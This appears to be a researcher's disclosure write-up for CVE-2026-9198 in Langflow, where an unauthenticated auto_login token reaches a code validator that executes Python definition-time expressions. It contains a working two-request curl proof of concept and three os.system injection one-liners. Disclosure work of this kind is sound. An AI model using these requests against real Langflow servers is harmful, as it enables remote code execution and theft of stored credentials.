CVE-2026-9198Critical (CVSS 9.8)CISA KEVFixed6 min read
Langflow's code validator ran the code it was checking, and the default login route handed any anonymous caller the token needed to reach it
The patch for Langflow's 2025 unauthenticated RCE added an authentication dependency to POST /api/v1/validate/code. It held, and it did not matter: GET /api/v1/auto_login is unauthenticated by design and mints a superuser token to any network caller while AUTO_LOGIN is on, which is the default. Two requests, no credentials, arbitrary code execution. Fixed in Langflow 1.10.1, and added to the CISA KEV catalog in August 2026.
- Vendor
- IBM
- Product
- Langflow OSS
- Weakness
- CWE-94
- Affected
- 1.0.0 through 1.10.0
- Fixed in
- 1.10.1
- CISA KEV
- Added Aug 4, 2026
- Advisory
- GHSA-5wm9-vgmg-cjv6
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Disclosure timeline
May 9, 2026
Reported privately to IBM through HackerOne: the authentication dependency added to /api/v1/validate/code is satisfied for free by /api/v1/auto_login, so the endpoint is still reachable by an anonymous caller on a default install.
May 12, 2026
Triaged by IBM PSIRT.
May 21, 2026
CVE-2026-9198 reserved by IBM, which is the CNA for Langflow OSS.
Jun 18, 2026
Fixed upstream. langflow-ai/langflow#13696 removes the exec from validate_code; the change ships in 1.10.1.
Jul 2, 2026
IBM security bulletin published, rated Critical at CVSS 9.8.
Jul 17, 2026
CVE record and NVD entry published. GHSA-5wm9-vgmg-cjv6 mirrored the CVE the same day.
Aug 4, 2026
CISA added CVE-2026-9198 to the Known Exploited Vulnerabilities catalog, with a federal remediation deadline of Aug 7.
Aug 17, 2026
IBM added the finder credit to the CVE record and to the bulletin's acknowledgement.
Langflow is a visual builder for LLM applications. Components in a flow are Python classes, and the editor lets you write them in the browser, so the backend needs a way to tell you whether what you typed is valid before you wire it into anything. That is what POST /api/v1/validate/code is for. You send source, it sends back a list of errors.
This endpoint has been a problem before. In 2025 it was unauthenticated and it executed what it was handed, which became CVE-2025-3248 and landed on the CISA KEV catalog with confirmed exploitation in the wild. The fix added an authentication dependency:
@router.post("/code", status_code=200,
dependencies=[Depends(get_current_active_user)],
include_in_schema=False)
async def post_validate_code(code: Code) -> CodeValidationResponse:
errors = validate_code(code.code)
...
The dependency works. It is correctly declared, it runs on every request, and an anonymous caller gets a 401. The endpoint is still reachable by an anonymous caller, because Langflow gives them the credential.
The half nobody was looking at
GET /api/v1/auto_login has no auth dependency, which is deliberate. It exists so that a single-user local install can open the browser and be logged in without a signup flow. When AUTO_LOGIN is on, it mints a long-term token for the superuser account and returns it to whoever asked:
@router.get("/auto_login", include_in_schema=False)
async def auto_login(response: Response, db: DbSession):
auth_settings = get_settings_service().auth_settings
if auth_settings.AUTO_LOGIN:
auth = get_auth_service()
user_id, tokens = await auth.create_user_longterm_token(db)
response.set_cookie("access_token_lf", tokens["access_token"], ...)
return tokens
raise HTTPException(status_code=403, ...)
AUTO_LOGIN defaults to True, in lfx/services/settings/auth.py, with the team's own note attached:
AUTO_LOGIN: bool = Field(
default=True,
# TODO: Set to False in v2.0
description=(
"Enable automatic login with default credentials. "
"SECURITY WARNING: This bypasses authentication and should "
"only be used in development environments. "
"Set to False in production. This will default to False in v2.0."
),
)
The warning is accurate and the default contradicts it. Langflow binds 0.0.0.0:7860 out of the box, so on any deployment that took the defaults, the token is a public GET request away.
The sink is worse than it reads
validate_code walks the parsed module and executes every top-level function definition it finds:
for node in tree.body:
if isinstance(node, ast.FunctionDef):
code_obj = compile(ast.Module(body=[node], type_ignores=[]),
"<string>", "exec")
exec_globals = _create_langflow_execution_context()
exec(code_obj, exec_globals)
Filtering to ast.FunctionDef reads like a containment measure. The intuition is that defining a function is inert, and the dangerous part is calling it, which the validator never does.
That intuition is wrong about Python. Defining a function evaluates its decorators, its default-argument expressions, and its annotations, all before the body exists and whether or not the body ever runs. Each of those is an arbitrary expression, and all three reach the same exec line:
@__import__('os').system('cmd')
def f(): pass
def f(x=__import__('os').system('cmd')): pass
def f(x: __import__('os').system('cmd')): pass
There is no payload here, in the sense of anything obfuscated. This is Python doing what Python does at definition time.
Two requests
Against a default install of 1.9.2, which already carried the CVE-2025-3248 patch:
TOKEN=$(curl -s http://target:7860/api/v1/auto_login | jq -r .access_token)
curl -X POST http://target:7860/api/v1/validate/code \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"code": "def f(x=__import__(\"os\").system(\"id > /tmp/marker\")):\n return 1"}'
The response is {"imports":{"errors":[]},"function":{"errors":[]}} with HTTP 200. The validator reports no errors, which is true and useless: the command already ran. /tmp/marker contains the uid of the Langflow worker process, confirming the execution happened inside Langflow and not in any sandbox.
Prerequisites are TCP reach to port 7860 and nothing else. No account, no key, no interaction from anyone on the other side.
What was actually new here
The exec in validate_code was known. It is the same sink as CVE-2025-3248, and the authenticated version of it on Langflow Desktop is CVE-2026-6543, credited to Eran Shimony of Palo Alto Networks and fixed in 1.9.0. None of that was mine.
The contribution in this report is the reachability: that the patch protecting the sink is satisfied for free on a default install, which moves the whole thing back to unauthenticated. That is what the CVE record describes, and it is why the score is 9.8 rather than the 8.8 an authenticated version of the same bug earns.
It is a useful thing to check for on any patched vulnerability. The fix for a missing-authentication bug is almost always to add the check. Whether that check is worth anything depends on what a credential costs, and that question lives in a different file from the one the patch touched.
Severity and exploitation
IBM scored it CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H, 9.8 Critical. Every metric is at its worst except scope, which stays unchanged because the code runs as Langflow rather than crossing into another authority. It does not need to cross anything. Langflow holds every tenant's flows, stored provider keys, and conversation history in that same process.
On August 4, 2026, CISA added it to the Known Exploited Vulnerabilities catalog as "IBM Langflow Code Injection Vulnerability," with a federal remediation deadline three days later. That makes two separate KEV entries for the same endpoint, fifteen months apart.
The fix
langflow-ai/langflow#13696, merged June 18 and shipped in 1.10.1. The validator no longer executes anything. It parses and compiles, which is enough to surface a syntax error, and stops there. The maintainers' PR description names the same three definition-time evaluation points and notes the endpoint is "effectively unauthenticated under Langflow's default single-user AUTO_LOGIN setup."
That is the right place to fix it. Turning the default off would have closed this path and left the sink loaded for anyone who reaches it another way, and there are other ways to reach it.
If you run Langflow
Upgrade to 1.10.1 or later, and separately set LANGFLOW_AUTO_LOGIN=false on anything that is not a laptop. Those are two different problems and the upgrade only solves one of them.
Then assume compromise rather than checking for it. This was in the KEV catalog, the exploit is two unauthenticated requests, and a successful one is indistinguishable in the logs from a user validating a component: HTTP 200, no errors, no stack trace. What is worth checking is what the process could reach. Every provider key stored in that instance should be rotated, and if it ran with cloud instance credentials, those had the same reach the attacker did.
The pattern worth keeping
An authentication check is worth exactly what a credential costs, and the two are usually decided in different places by different people at different times. Someone chose a sensible default for local development. Someone else added an auth dependency to close a critical bug. Both changes are correct on their own, and the composition of them puts the system back where it started.
The second thing to keep is narrower. Any time code compiles or defines user input without calling it, and reasons that this is safe because nothing was invoked, check what the language evaluates before invocation. In Python that list is decorators, default arguments, and annotations, and it is long enough that "I only defined it" is not a security boundary.